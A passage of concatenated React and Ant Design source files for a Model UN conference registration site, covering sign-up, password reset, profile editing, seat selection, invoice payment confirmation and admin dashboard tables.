<Menu.Divider />
<Menu.Item key="8" onClick={this.handleClick}><Link to="/">登出</Link></Menu.Item>
</Menu>}>
<Link className="ant-dropdown-link" to="#" style={{fontSize:'18px'}}>
<Icon type="user" style={{fontSize:'18px'}}/>
userID <Icon type="down" />
</Link>
</Dropdown>
<Icon type="" />
</div>
</div>
</Header>
<Content style={{ margin: '30px 30px 0', overflow: 'initial'}}>
{this.props.content}
</Content>
<Footer style={{ textAlign: 'center', height:'7vh' }}>
UMUNC ©2017
</Footer>
</Layout>
</Layout>
);
}
};
// ReactDOM.render(<EditableTable />, document.getElementById('content'));
export default PerCenter;
<file_sep>/umunc/src/personalCenter/invoice/invoicenew.js
import React from 'react';
import {Link} from 'react-router-dom'
import './invoice.css';
import { Table, Modal, Row, Col, Card, Icon, Button} from 'antd';
import PerCenter from '../perCenter'
import axios from 'axios';
//本页的路由是/personalCenter/invoice
const columns = [{
title: '姓名',
dataIndex: 'name',
key: 'name',
}, {
title: '转账日期',
dataIndex: 'date',
key: 'date',
}, {
title: '交易流水号',
dataIndex: 'billnum',
key: 'billnum',
}, {
title: '交易方式',
dataIndex: 'py',
key: 'py',
},{
title: '金额',
dataIndex: 'money',
key: 'money',
}];
/*
payer 支付人 [代表姓名,邮箱,电话]
receiver 收款方 [主办方名字,邮箱]
billInfo 账单信息 [生成日期,到期时间,支付状态]
billItem 账单项目 [项目,金额]
*/
//本页会用到的变量
var progressStep = 4;//大于3才能访问此页面
class Invoice extends React.Component {
state = {
payer:'',
payerEmail:'',
payerPhone:'',
receiver:'',
receivereEail:'',
billdate:'',
billDue:'',
billState:'',
billItem:'',
billItemMoney:'',
haveData:false, //是否有转账记录,false就隐藏整个card
dataSource : [{}],//转账信息的data
step : 4,//大于3才能访问此页面
visible: false
}
componentDidMount() {
axios.get('/debtstatus')//路由不知道
.then(res=>{
this.setState(
res.data
)})
}
showModal = () => {
this.setState({
visible: true,
});
}
handleOk = (e) => {
console.log(e);
this.setState({
confirmLoading: true,
});
setTimeout(() => {
this.setState({
visible: false,
confirmLoading: false,
});
}, 2000);
}
handleCancel = (e) => {
console.log(e);
alert("再看一遍");
this.setState({
visible: false,
});
}
conten =()=>{
const { visible, confirmLoading} = this.state;
return(
<div style={{ padding: 49, background: '#fff' }}>
<div style={{ margin:0}} ><Icon type="credit-card" style={{fontSize:'32px'}}/><h1 style={{display:'inline',fontSize:'32px'}}> 账单 </h1></div>
<br /><br /><br />
<div style={{ padding: '10px' }}>
<Row gutter={16}>
<Col span={12}>
<Card title={<h2>支付人</h2>} bordered={true}>
<p style={{fontSize:'16px'}}>代表姓名:{this.state.payer}</p>
<p style={{fontSize:'16px'}}>邮箱:{this.state.payerEmail}</p>
<p style={{fontSize:'16px'}}>电话:{this.state.payerPhone}</p>
</Card>
</Col>
<Col span={12}>
<Card title={<h2>收款方</h2>} bordered={true}>
<p style={{fontSize:'16px'}}>{this.state.receiver}</p>
<p style={{fontSize:'16px'}}>邮箱:<a>{this.state.receivereEail}</a></p>
</Card>
</Col>
</Row>
<br /><br />
<Row gutter={18}>
<Col span={24}>
<Card title={<h2>账单</h2>} bordered={true}
extra = {<Button type="primary" ghost><Link to="/personalCenter/invoiceinfo">我已付款</Link></Button>}>
<p style={{fontSize:'16px'}}>生成日期:{this.state.billdate}</p>
<p style={{fontSize:'16px'}}>到期时间:{this.state.billDue}</p>
<p style={{fontSize:'16px'}}>支付状态:{this.state.billState}</p>
<br /><br /><br />
<Col span={18}>
<h2 >账单详情</h2>
<p style={{fontSize:'16px'}}>{this.state.billItem}</p>
<h2 >总计:</h2>
</Col>
<Col span={6}>
<h2 >金额</h2>
<p style={{fontSize:'16px'}}>¥{this.state.billItemMoney}</p>
<h2 >¥{this.state.billItemMoney}</h2>
</Col>
<Modal
title="Basic Modal"
okText="我知道了"
cancelText="我看不懂"
visible={this.state.visible}
onOk={this.handleOk}
confirmLoading={confirmLoading}
onCancel={this.handleCancel}
>
<p>转账到xxxxxx账户</p>
<p>再点击“我已付款”按钮,填写转账信息</p>
<p>提交后等待管理员核对信息</p>
</Modal>
</Card>
<br /><br />
{this.state.haveData?
<Card title={<h2>转账记录</h2>} bordered={true}>
<Table bordered={true} size="small" pagination={false} dataSource={this.state.dataSource} columns={columns} />
</Card>:null
}
</Col>
</Row>
<br /><br />
</div>
</div>
)
}
render(){
{this.state.step === 0 ? progressStep=1 :null}
{this.state.step === 1 ? progressStep=2 :null}
{this.state.step === 2 ? progressStep=2 :null}
{this.state.step === 3 ? progressStep=3 :null}
{this.state.step === 4 ? progressStep=4 :null}
{this.state.step === 5 ? progressStep=4 :null}
{this.state.step === 6 ? progressStep=5 :null}
{this.state.step === 7 ? progressStep=1 :null}
{this.state.step === 8 ? progressStep=2 :null}
return(
progressStep>3?
<PerCenter defaultKey="5" content={<this.conten />}/>
:
<PerCenter defaultKey="5" content={
<div style={{background: '#fff', height:'100vh', padding:'40vh'}}>
<p style={{fontSize:'52px', textAlign:'center'}}> 您还未注册到这一步,请返回并完成前一步注册 </p>
</div>
}/>
);
}
};
// ReactDOM.render(<EditableTable />, document.getElementById('content'));
export default Invoice;
<file_sep>/umunc/src/signup/EmailSended.js
import React, { Component } from 'react';
import BackGroundImage from '../image/urban-night-blur.jpg';
class EmailSended extends React.Component {
render() {
return (
<div style = {{height: '100%',position:'fixed',
width: '100%',
'backgroundImage': `url(${BackGroundImage})`,
'backgroundPosition':'center'}}>
<div style = {{ margin: 'auto',
padding: '15% 0px',
maxWidth: 500}}>
<div style = {{textAlign: 'center',
margin: 'auto',
padding: 45,
width: 500,
'backgroundColor': 'rgba(255,255,255,0.75)',
borderRadius: 10}}>
<p>EMAIL HAS BEEN SENDED TO U!</p>
<p>邮件已经发给你啦!</p>
<p>PLEASE GO TO CHECK YOUR EMAIL TO CONTINUE RESIGER!</p>
<p>请去您的邮箱确认,以完成注册。</p>
<p>GOOD LUCK XD</p>
<p>好运</p>
</div>
</div>
</div>
);
}
}
export default EmailSended;
<file_sep>/umunc/src/personalCenter/seat/seatSelect.js
import React from 'react';
import './seat.css';
import axios from 'axios';
import { Table, Row, Col, Card, Icon, Button, Popconfirm} from 'antd';
import PerCenter from '../perCenter'
/*
data 可选席位列表,分四列:席位名称,委员会,类型,开放时间
*/
var cur = '';
const types = ['单代席位','多代席位主席位','多代席位子席位']
const states = ['不可选择','可选择']
class SeatSelect extends React.Component {
state = {
data:[
{key:1,name:'席位名称',committee:'席位所属委员会',type:types[1],time:'8月21日',edit:false, state:states[1],multi_name:'多代席位名称'},
{key:2,name:'席位名称',committee:'席位所属委员会',type:types[0],time:'8月21日',edit:true, state:states[0],multi_name:null},
{key:3,name:'席位名称',committee:'席位所属委员会',type:types[2],time:'8月21日',edit:true, state:states[1],multi_name:'多代席位名称'},
],
}
componentDidMount(){
axios.get('/arrangedSeat')//路由不知道
.then(res=>{
this.setState(
res.data
)})
}
columns = [{
title: '席位名称',
dataIndex: 'name',
}, {
title: '委员会',
dataIndex: 'committee',
},{
title: '状态',//可选择|不可选择
dataIndex: 'state',
},{
title: '类型',//0-单带席位 1-多代主席位 2-多代子席位
dataIndex: 'type',
},{
title: '多代席位名称',
dataIndex: 'multi_name',
},{
title: '开放时间',
dataIndex: 'time',
},{
title: '操作',
dataIndex: 'edit',
onCellClick: (record) => (
cur = record
),
render: (text)=> (
text ?
<Popconfirm title="您确定选择该席位吗?"
okText="确认"
cancelText="取消"
placement="right"
onConfirm={this.selectSeat}><a href="#">选择席位</a></Popconfirm>:
<p>不可选择</p>
),
}];
selectSeat = () => {
// console.log(cur);
axios.post('/selectSeat',{
seatName: cur.name,
committee: cur.committee,
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
conten = () =>{
return(
<div style={{ padding: 49, background: '#fff' }}>
<div style={{ margin:0}} ><Icon type="flag" style={{fontSize:'32px'}}/><h1 style={{display:'inline',fontSize:'32px'}}> 席位 </h1></div>
<br /><br /><br />
<Row gutter={18}>
<Col span={24}>
<Card title={<h2>席位选择</h2>} bordered={true}>
<p style={{fontSize:'16px'}}>这里有面试官为您分配的席位,您可以从中选择一个席位,之后将进入缴费环节。 </p>
<br />
<Col span={24}>
<Table columns={this.columns} dataSource={this.state.data} pagination={false} />
</Col>
</Card>
</Col>
</Row>
</div>
)
}
render(){
return(
<PerCenter defaultKey="4" content={<this.conten />}/>
);
}
};
// ReactDOM.render(<EditableTable />, document.getElementById('content'));
export default SeatSelect;
<file_sep>/umunc/src/personalCenter/invoice/invoiceinfo.js
import React from 'react';
import axios from 'axios';
import { Radio, DatePicker, Form, Input, Icon, Button, Row, Col, Card} from 'antd';
import PerCenter from '../perCenter'
//本页的路由是/personalCenter/invoiceinfo
/*
在下面class里面的state里
还有表单
*/
const { MonthPicker, RangePicker } = DatePicker;
function onChange(date, dateString) {
console.log(date, dateString);
}
const FormItem = Form.Item;
const RadioButton = Radio.Button;
const RadioGroup = Radio.Group;
class RegistrationForm extends React.Component {
state = {
_id: '426718913012',//真id
};
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFieldsAndScroll((err, values) => {
if (!err) {
axios.post('/debtConfirm',{
billnum:values.billnum,
date:values.date,
amount:values.money,
name:values.name,
pyMethod:values.pyMethod,
})
.then((function(res){
console.log(res.data);
}).bind(this))
console.log('Received values of form: ', values);
}
});
}
checkConfirm = (rule, value, callback) => {
const form = this.props.form;
if (value && this.state.confirmDirty) {
form.validateFields(['confirm'], { force: true });
}
callback();
}
render() {
const { getFieldDecorator } = this.props.form;
const { autoCompleteResult } = this.state;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
return (
<Form onSubmit={this.handleSubmit} style={{margin:'auto'}}>
<FormItem
{...formItemLayout}
label="支付方式"
hasFeedback
>
{getFieldDecorator('pyMethod', { //支付方式 value="Alipay" or "bank"
rules: [{
required: true, message: '请输入支付方式!',
}],
})(
<RadioGroup onChange={onChange} style={{width:'100%'}}>
<RadioButton value="Alipay">支付宝</RadioButton>
<RadioButton value="bank">银行转账</RadioButton>
</RadioGroup>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="日期"
hasFeedback
>
{getFieldDecorator('date', {
rules: [{
required: true, message: '请选择日期!',
}],
})(<DatePicker onChange={onChange} sytle={{width:'100%'}} />)}
</FormItem>
<FormItem
{...formItemLayout}
label="姓名"
hasFeedback
>
{getFieldDecorator('name', {
rules: [{
required: true, message: '请输入您的姓名!',
}],
})(<Input />)}
</FormItem>
<FormItem
{...formItemLayout}
label="账单编号"
hasFeedback
>
{getFieldDecorator('billnum', {
rules: [{
required: true, message: '请输入账单编号!',
}],
})(<Input />)}
</FormItem>
<FormItem
{...formItemLayout}
label="金额"
hasFeedback
>
{getFieldDecorator('money', {
rules: [{ required: true, message: '请输入已转账金额!' }],
})(
<Input />
)}
</FormItem>
<FormItem {...tailFormItemLayout}>
<Button type="primary" style={{width:'100%'}} htmlType="submit" >提交</Button>
</FormItem>
</Form>
);
}
}
const WrappedRegistrationForm = Form.create()(RegistrationForm);
class InvoiceInfo extends React.Component {
conten = () =>{
return(
<div style={{ padding: 49, background: '#fff' }}>
<div style={{ margin:0}} ><Icon type="file-text" style={{fontSize:'32px'}}/><h1 style={{display:'inline',fontSize:'32px'}}> 转账信息 </h1></div>
<br /><br /><br />
<div style={{marginLeft:'10%'}}>
<Row gutter={24}>
<Col span={6}>
<Card title={<h2>说明</h2>}>{
<div>
<p>转账到xxxxxx账户</p>
<p>再点击“我已付款”按钮,填写转账信息</p>
<p>提交后等待管理员核对信息</p>
</div>
}</Card>
</Col>
<Col span={14}>
<Card title={<h2>账单信息</h2>}>
{
<WrappedRegistrationForm/>
}</Card>
</Col>
</Row>
</div>
</div>
)
}
render(){
return(
<PerCenter defaultKey="5" content={<this.conten />}/>
);
}
};
export default InvoiceInfo;
<file_sep>/umunc/src/dashboard/add/Dinamic.js
import React, { Component } from 'react';
import { Form, Input, Icon, Button, Switch, Select } from 'antd';
import axios from 'axios';
const Option = Select.Option;
const FormItem = Form.Item;
const children_c = [];
const seats = [];
var isMultiple = false;
const handleOnChange = () => {
isMultiple = !isMultiple;
}
let uuid = 0;
class DynamicFieldSet extends React.Component {
remove = (k) => {
const { form } = this.props;
// can use data-binding to get
const keys = form.getFieldValue('keys');
// We need at least one passenger
if (keys.length === 1) {
return;
}
// can use data-binding to set
form.setFieldsValue({
keys: keys.filter(key => key !== k),
});
}
add = () => {
uuid++;
const { form } = this.props;
// can use data-binding to get
const keys = form.getFieldValue('keys');
const nextKeys = keys.concat(uuid);
// can use data-binding to set
// important! notify form to detect changes
form.setFieldsValue({
keys: nextKeys,
});
}
pushSeat = (key) => {
this.props.form.validateFields((err,values) => {
if (!err) {
seats.push(values[`seat${key}`])
}
})
}
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFields((err, values) => {
values.keys.map(this.pushSeat);
if (!err) {
axios.post('/committeeAdd/1',{
committe:values.committee,
isMultiple:values.isMultiple,
seat:seats,
})
.then((function(res){
alert(res.data.msg);
}).bind(this))
.catch(function(err){
console.log(err);
});
console.log('Received values of form: ', values);
}
});
}
componentDidMount() {
axios.get("/committeeInfo")
.then(res => {
for (var i = 0; i < res.data.length; i++) {
children_c.push(<Option key={i} value={res.data[i].committeeName}>{res.data[i].committeeName + '(' + res.data[i].shortName + ')'}</Option>)
}
})
}
render() {
const { getFieldDecorator, getFieldValue } = this.props.form;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 4 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 20 },
},
};
const formItemLayoutWithOutLabel = {
wrapperCol: {
xs: { span: 24, offset: 0 },
sm: { span: 20, offset: 4 },
},
};
getFieldDecorator('keys', { initialValue: [] });
const keys = getFieldValue('keys');
const formItems = keys.map((k, index) => {
return (
<FormItem
{...(index === 0 ? formItemLayout : formItemLayoutWithOutLabel)}
label={index === 0 ? isMultiple?'添加主席位':'添加席位' : ''}
required={false}
key={k}
>
{getFieldDecorator(`seat${k}`, {
validateTrigger: ['onChange', 'onBlur'],
rules: [{
required: true,
whitespace: true,
message: "请填写席位!",
}],
})(
<Input style={{ width: '60%', marginRight: 8 }} />
)}
{keys.length > 1 ? (
<Icon
type="minus-circle-o"
disabled={keys.length === 1}
onClick={() => this.remove(k)}
/>
) : null}
</FormItem>
);
});
return (
<div>
<Form onSubmit={this.handleSubmit}>
<FormItem
{...formItemLayout}
label="委员会">
{getFieldDecorator('committee', {
rules:[{required:true, message:'请选择委员会!'}],
})(
<Select style={{width:'60%'}}>
{children_c}
</Select>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="多代席位">
{getFieldDecorator('isMultiple', {
initialValue: false,
})(
<Switch onChange={handleOnChange}/>
)}
</FormItem>
{formItems}
<FormItem {...formItemLayout}>
<Button type="dashed" onClick={this.add} style={{ width: '60%', marginLeft:'20%' }}>
<Icon type="plus" /> Add field
</Button>
</FormItem>
<FormItem {...formItemLayout}>
<Button type="primary" htmlType="submit" style={{width:'60%', marginLeft:'20%'}}>Submit</Button>
</FormItem>
</Form>
<div style={{ background: '#ECECEC', height:1 }}/>
</div>
);
}
}
const Dinamic = Form.create()(DynamicFieldSet);
export default Dinamic;
<file_sep>/umunc/src/profile/TeamChosen.js
import React, {Component} from 'react';
import {
Table,
TableBody,
TableHeader,
TableHeaderColumn,
TableRow,
TableRowColumn,
} from 'material-ui/Table';
import RaisedButton from 'material-ui/RaisedButton';
export default class TeamChosen extends Component {
state = {
selected: [1],
};
isSelected = (index) => {
return this.state.selected.indexOf(index) !== -1;
};
handleRowSelection = (selectedRows) => {
this.setState({
selected: selectedRows,
});
};
render() {
return (
<div style={{width: 600, margin: 'auto'}}>
<Table onRowSelection={this.handleRowSelection}>
<TableHeader>
<TableRow>
<TableHeaderColumn>团队 Team</TableHeaderColumn>
<TableHeaderColumn>状态 Status</TableHeaderColumn>
</TableRow>
</TableHeader>
<TableBody>
<TableRow selected={this.isSelected(0)}>
<TableRowColumn>Group1</TableRowColumn>
<TableRowColumn>components</TableRowColumn>
</TableRow>
<TableRow selected={this.isSelected(1)}>
<TableRowColumn>Group2</TableRowColumn>
<TableRowColumn>components</TableRowColumn>
</TableRow>
<TableRow selected={this.isSelected(2)}>
<TableRowColumn>Group3</TableRowColumn>
<TableRowColumn>components</TableRowColumn>
</TableRow>
<TableRow selected={this.isSelected(3)}>
<TableRowColumn>Group4</TableRowColumn>
<TableRowColumn>components</TableRowColumn>
</TableRow>
</TableBody>
</Table>
<RaisedButton label="confirm" fullWidth={true} backgroundColor='#2196F3' href = '/'/>
</div>
);
}
}
<file_sep>/umunc/src/login/ForgotPasswords.js
import React, { Component } from 'react';
import { Form, Input, Tooltip, Icon, Cascader, Select, Row, Col, Checkbox, Button, AutoComplete } from 'antd';
import axios from 'axios';
import BackGroundImage from '../image/urban-night-blur.jpg';
const FormItem = Form.Item;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
class NormalLoginForm extends React.Component {
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFields((err, values) => {
if (!err) {
axios.post('/resetPassword',{
email:values.email,
captcha:values.captcha,
})
.then(function(res){
res.err?this.props.history.push("/failed"):alert("Password reset! Please go to check your email to continue!");
})
.catch(function(err){
console.log(err);
});
console.log('Received values of form: ', values);
this.props.history.push("/");
}
});
}
render() {
const { getFieldDecorator } = this.props.form;
return (
<div style = {{height: '100%',position:'fixed',
width: '100%',
'backgroundImage': `url(${BackGroundImage})`,
'backgroundPosition':'center'}}>
<div style = {{ margin: 'auto',
padding: '15% 0',
maxWidth: 480}}>
<div style = {{textAlign: 'center',position:'fixed',
margin: 'auto',
padding: 45,
width: 480,
'backgroundColor': 'rgba(255,255,255,0.75)',
borderRadius: 10}}>
<Form onSubmit={this.handleSubmit} style={{maxWidth:400, margin:'auto'}}>
<FormItem
{...formItemLayout}
label="邮箱"
hasFeedback
>
{getFieldDecorator('email', {
rules: [{
type: 'email', message: '这不是一个正确的邮箱地址!',
}, {
required: true, message: '请输入您的邮箱!',
}],
})(
<Input placeholder="<EMAIL>"/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="验证码"
extra="我们必须确认您不是AI。"
>
<Row gutter={8}>
<Col span={12}>
{getFieldDecorator('captcha', {
rules: [{ required: true, message: '请输入您收到的验证码!' }],
})(
<Input size="large" />
)}
</Col>
<Col span={12}>
<Button size="large">获取验证码</Button>
</Col>
</Row>
</FormItem>
<FormItem {...tailFormItemLayout} style = {{margin:0}}>
<Button type="primary" htmlType="submit" style={{width:'100%'} }>重设密码</Button>
或您可以 <a href="/">返回登录页!</a>
</FormItem>
</Form>
</div>
</div>
</div>
);
}
}
const ForgotPasswords = Form.create()(NormalLoginForm);
export default ForgotPasswords;
<file_sep>/umunc/src/dashboard/table/TeamSubTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class TeamSubTable extends React.Component{
mappingContent = (ajaxdata) => {
let {id,name,teamname,chineserole,apply_state,apply_date,committee,_id}=ajaxdata;
return({key:id,id,name,teamname,chineserole,apply_state,apply_date,committee,_id})
}
render(){
return(
<DashboardLayout
content={<TableItem format={0}
url="/teamsInfo"
mappingContent={this.mappingContent}/>}
tableTitle="代表团列表"
defaultKey="10"
defaultOpenKeys="sub3"/>
);
}
}
export default TeamSubTable;
<file_sep>/umunc/src/signup/SignUp.js
import React, { Component } from 'react';
import BackGroundImage from '../image/urban-night-blur.jpg';
import { Form, Input, Tooltip, Icon, Cascader, Select, Row, Col, Checkbox, Button, AutoComplete } from 'antd';
import axios from 'axios';
const FormItem = Form.Item;
const Option = Select.Option;
const residences = [{
value: 'delegate',
label: '代表',
}, {
value: 'volunteer',
label: '志愿者',
},{
value: 'mentor',
label: '指导老师',
},{
value: 'academic',
label: '学术团队',
},{
value: 'admin',
label: '会务团队',
}];
class RegistrationForm extends React.Component {
state = {
confirmDirty: false,
};
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFieldsAndScroll((err, values) => {
if (!err) {
axios.post('/register/1',{
email:values.email,
password:<PASSWORD>,
role:values.identity[0],
})
.then((function(res){
res.data.err?this.props.history.push("/failed"):this.props.history.push("/register/emailsended");
}).bind(this))
.catch(function(err){
console.log(err);
});
console.log('Received values of form: ', values);
}
});
}
handleConfirmBlur = (e) => {
const value = e.target.value;
this.setState({ confirmDirty: this.state.confirmDirty || !!value });
}
checkPassword = (rule, value, callback) => {
const form = this.props.form;
if (value && value !== form.getFieldValue('password')) {
callback('两个密码不一致!');
} else {
callback();
}
}
checkConfirm = (rule, value, callback) => {
const form = this.props.form;
if (value && this.state.confirmDirty) {
form.validateFields(['confirm'], { force: true });
}
callback();
}
render() {
const { getFieldDecorator } = this.props.form;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
return (
<div style = {{height: '100%',position:'fixed',
width: '100%',
'backgroundImage': `url(${BackGroundImage})`,
'backgroundPosition':'center'}}>
<div style = {{ margin: 'auto',
padding: '10% 0',
maxWidth: 600}}>
<div style = {{textAlign: 'center',
margin: 'auto',
padding: 45,
width: 600,
'backgroundColor': 'rgba(255,255,255,0.75)',
borderRadius: 10}}>
<Form onSubmit={this.handleSubmit}>
<FormItem
{...formItemLayout}
label="邮箱"
hasFeedback
>
{getFieldDecorator('email', {
rules: [{
type: 'email', message: '这不是一个正确的邮箱地址!',
}, {
required: true, message: '请输入您的邮箱!',
}],
})(
<Input placeholder="<EMAIL>"/>
)}
</FormItem>
<FormItem
{...formItemLayout}
label="密码"
hasFeedback
>
{getFieldDecorator('password', {
rules: [{
required: true, message: '请输入您的密码!',
}, {
validator: this.checkConfirm,
},{
min: 8, message: '密码太短啦!',
},{
max: 16, message: '您的密码太长啦!',
}],
})(
<Input type="password" />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="重复密码"
hasFeedback
>
{getFieldDecorator('confirm', {
rules: [{
required: true, message: '请再次输入您的密码!',
}, {
validator: this.checkPassword,
}],
})(
<Input type="password" onBlur={this.handleConfirmBlur} />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="身份"
>
{getFieldDecorator('identity', {
initialValue: ['delegate'],
rules: [{ type: 'array', required: true, message: '请选择您的身份!' }],
})(
<Cascader options={residences} />
)}
</FormItem>
<FormItem {...tailFormItemLayout} style={{margin:0}}>
<Button type="primary" htmlType="submit" style={{width:'100%'}} >注册</Button>
或 <a href="/">返回登录页!</a>
</FormItem>
</Form>
</div>
</div>
</div>
);
}
}
const SignUp = Form.create()(RegistrationForm)
export default SignUp;
<file_sep>/umunc/src/profile/FillingProfile.js
import React, { Component } from 'react';
import MuiThemeProvider from 'material-ui/styles/MuiThemeProvider';
import BackGroundImage from '../image/urban-night-blur.jpg';
import VerticalNonLinear from './VerticalNonLinearStepper';
class FillingProfile extends Component {
render() {
return (
<div style = {{'backgroundImage': `url(${BackGroundImage})`,'backgroundRepeat':'no-repeat','backgroundPosition':'center','alignContent':'space-between'}}>
<div style = {{margin:'auto'}}>
<MuiThemeProvider >
<div style={{ display: 'flex', flexDirection: 'row'}}>
<VerticalNonLinear />
</div>
</MuiThemeProvider>
</div>
</div>
);
}
}
export default FillingProfile;
<file_sep>/umunc/src/dashboard/info/SettinginD.js
import React, { Component } from 'react';
import DashboardLayout from '../DashboardLayout';
import ProfileinD from './ProfileinD';
import ChangePw from './ChangePw';
import { Card, Row, Col, Icon, Calendar } from 'antd';
class SettinginD extends React.Component {
state = {
name: 'BBB',
}
cards = () => {
return(
<Row gutter={24}>
<Col span={12}>
<Card title={<h2>个人信息</h2>}>{<ProfileinD/>}</Card>
</Col>
<Col span={12}>
<Card title={<h2>修改密码</h2>}>{<ChangePw/>}</Card>
</Col>
</Row>
)
}
render() {
return (
<DashboardLayout tableTitle={this.state.name} content={<this.cards/>}/>
);
}
}
export default SettinginD;
<file_sep>/umunc/src/dashboard/table/ToCheckTable.js
import React, { Component } from 'react';
import TableItem from './TableItem';
import DashboardLayout from '../DashboardLayout';
class ToCheckTable extends React.Component{
mappingContent = (ajaxdata) => {
// return({
// key: ajaxdata.id,
// id: ajaxdata.id,
// name: ajaxdata.name,
// teamname: ajaxdata.teamname,
// })
// return({
// key: ajaxdata.id,
// id: ajaxdata.id,
// name: ajaxdata.name,
// teamname: ajaxdata.teamnamename,
// chineserole: ajaxdata.chineserole,
// apply_state: ajaxdata.apply_state,
// apply_date:ajaxdata.apply_date,
// committee:ajaxdata.committee,
// })
let {id,name,teamname,chineserole,apply_state,apply_date,committee,_id}=ajaxdata;
return({key:id,id,name,teamname,chineserole,apply_state,apply_date,committee,_id})
}
// componentDidMount() {
// axios.get('/delegateInfo')
// .then(res=>{
// this.setState(
// {data: res.data.map(this.mappingContent)}
// )})
// this.setState(
// {data: test_data.map(this.mappingContent)}
// )
// }
render(){
return(
<DashboardLayout tableTitle="等待审核队列" defaultKey="8" defaultOpenKeys="sub1" content={<TableItem format={0} url="/tocheckInfo" mappingContent = {this.mappingContent}/>}/>
);
}
}
export default ToCheckTable;
<file_sep>/umunc/src/personalCenter/profile/profileEdit.js
import React from 'react';
import './profile.css';
import { Form, Input, Icon,Select, Button } from 'antd';
import PerCenter from '../perCenter';
import axios from 'axios';
/*
在下面class里面的state里
还有表单
*/
const FormItem = Form.Item;
const Option = Select.Option;
class RegistrationForm extends React.Component {
state = {
name: '',//用户姓名
_id: '',//真id
idnum: '',//身份证
phone: '',//电话
email: '',//邮箱
qq: '',//QQ
wechat: '',//微信
skype: '',//Skype
};
componentDidMount() {
axios.get('/personalInfo')//路由不知道
.then(res=>{
this.setState(
res.data
)})
}
handleSubmit = (e) => {
e.preventDefault();
this.props.form.validateFieldsAndScroll((err, values) => {
if (!err) {
axios.post(`/editProfile`,{
name: values.name,//用户姓名
idnum: values.idnum,//身份证
phone: values.phone,//电话
email: values.email,//邮箱
qq: values.qq,//QQ
wechat: values.wechat,//微信
skype: values.kype,//Skype
})
.then((function(res){
console.log(res.data);
}).bind(this))
}
});
}
render() {
const { getFieldDecorator } = this.props.form;
const { autoCompleteResult } = this.state;
const formItemLayout = {
labelCol: {
xs: { span: 24 },
sm: { span: 6 },
},
wrapperCol: {
xs: { span: 24 },
sm: { span: 14 },
},
};
const tailFormItemLayout = {
wrapperCol: {
xs: {
span: 24,
offset: 0,
},
sm: {
span: 14,
offset: 6,
},
},
};
const prefixSelector = getFieldDecorator('prefix', {
initialValue: '86',
})(
<Select style={{ width: 60 }}>
<Option value="86">+86</Option>
<Option value="87">+87</Option>
</Select>
);
return (
<div style={{marginLeft:'20%'}}>
<Form onSubmit={this.handleSubmit} style={{width:'60%'}}>
<FormItem
{...formItemLayout}
label="姓名"
hasFeedback
>
{getFieldDecorator('name', {
initialValue: this.state.name,
rules: [{
required: true, message: 'Please input your Name!',
}],
})(<Input disabled={true}/>)}
</FormItem>
<FormItem
{...formItemLayout}
label="身份证号"
hasFeedback
>
{getFieldDecorator('idnum', {
initialValue: this.state.idnum,
rules: [{
required: true, message: 'Please input your ID Number!',
}],
})(<Input disabled={true}/>)}
</FormItem>
<FormItem
{...formItemLayout}
label="电话号码"
hasFeedback
>
{getFieldDecorator('phone', {
initialValue: this.state.phone,
rules: [{ required: true, message: 'Please input your phone number!' }],
})(
<Input addonBefore={prefixSelector} style={{ width: '100%' }} />
)}
</FormItem>
<FormItem
{...formItemLayout}
label="邮箱"
hasFeedback
>
{getFieldDecorator('email', {
initialValue: this.state.email,
rules: [{
type:'email',required: true, message: 'Please input your E-mail!',
}],
})(<Input />)}
</FormItem>
<FormItem
{...formItemLayout}
label="QQ"
hasFeedback
>
{getFieldDecorator('qq', {
initialValue: this.state.qq,
rules: [{
message: 'Please input your QQ',
}],
})(<Input />)}
</FormItem>
<FormItem
{...formItemLayout}
label="微信"
hasFeedback
>
{getFieldDecorator('wechat', {
initialValue: this.state.wechat,
rules: [{
message: 'Please input your Wechat',
}],
})(<Input />)}
</FormItem>
<FormItem
{...formItemLayout}
label="Skype"
hasFeedback
>
{getFieldDecorator('skype', {
initialValue: this.state.skype,
rules: [{
message: 'Please input your Skype',
}],
})(<Input />)}
</FormItem>
<FormItem {...tailFormItemLayout}>
<Button type="primary" style={{width:'100%'}} htmlType="submit">保存</Button>
</FormItem>
</Form>
</div>
);
}
}
const WrappedRegistrationForm = Form.create()(RegistrationForm);
class ProfileEdit extends React.Component {
conten = () =>{
return(
<div style={{ padding: 49, background: '#fff' }}>
<div style={{ margin:0}} ><Icon type="file-text" style={{fontSize:'32px'}}/><h1 style={{display:'inline',fontSize:'32px'}}> 个人资料 </h1></div>
<br /><br /><br />
<WrappedRegistrationForm />
<br />
</div>
)
}
render(){
return(
<PerCenter defaultKey="2" content={<this.conten />}/>
);
}
};
// ReactDOM.render(<EditableTable />, document.getElementById('content'));
export default ProfileEdit;
<file_sep>/umunc/src/personalCenter/profile/profilenew.js
import React from 'react';
import './profile.css';
import { Col, Card, Icon } from 'antd';
import PerCenter from '../perCenter'
import axios from 'axios';
/*
所有信息在class里面的state里
*/
class Profile extends React.Component {
//这是举个例子的state
state = {
name: '',//用户姓名
gender: '',//性别
